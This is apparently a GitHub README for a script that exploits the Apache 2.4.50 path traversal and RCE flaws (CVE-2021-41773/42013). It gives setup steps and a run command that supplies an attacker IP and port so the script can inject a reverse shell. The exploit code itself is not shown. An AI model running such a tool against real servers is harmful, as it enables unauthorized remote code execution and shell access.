zyx2440/apache-http-server-2.4.50-rceApache-HTTP-Server-2.4.50-RCE This tool is designed to test Apache servers for the CVE-2021-41773 / CVE-2021-42013 vulnerability. It is intended for educational purposes only and should be used responsibly on systems you have explicit permission to test.
This tool is designed to test Apache servers for the CVE-2021-41773 / CVE-2021-42013 vulnerability. It is intended for educational purposes only and should be used responsibly on systems you have explicit permission to test.
git clone https://github.com/Zyx2440/Apache-HTTP-Server-2.4.50-RCE.git
cd Apache-HTTP-Server-2.4.50-RCE
pip3 install requests~=2.27.1 termcolor~=1.1.0
pip3 install -r add_requirements.txt
python3 50512.py target.txt -ip <YourIp> -port <ThePort>
the text file should contain the url of the target
python3 50512.py target.txt -ip 10.0.2.15 -port 4444
Apache Version Check: For each URL in the provided file, it checks whether the server is running Apache version 2.4.50.
If the server is vulnerable: It attempts to exploit the server by sending payloads to either trigger directory traversal attacks or execute code remotely. If CGI is enabled: It tries to inject a reverse shell payload to gain remote access.
For Educational Use Only: The script is intended for educational purposes to demonstrate how vulnerabilities can be tested and exploited. Using this script against unauthorized targets is illegal and unethical.
Purpose of modification: Added additional error handling and optimized the payload logic adn RCE and remove cve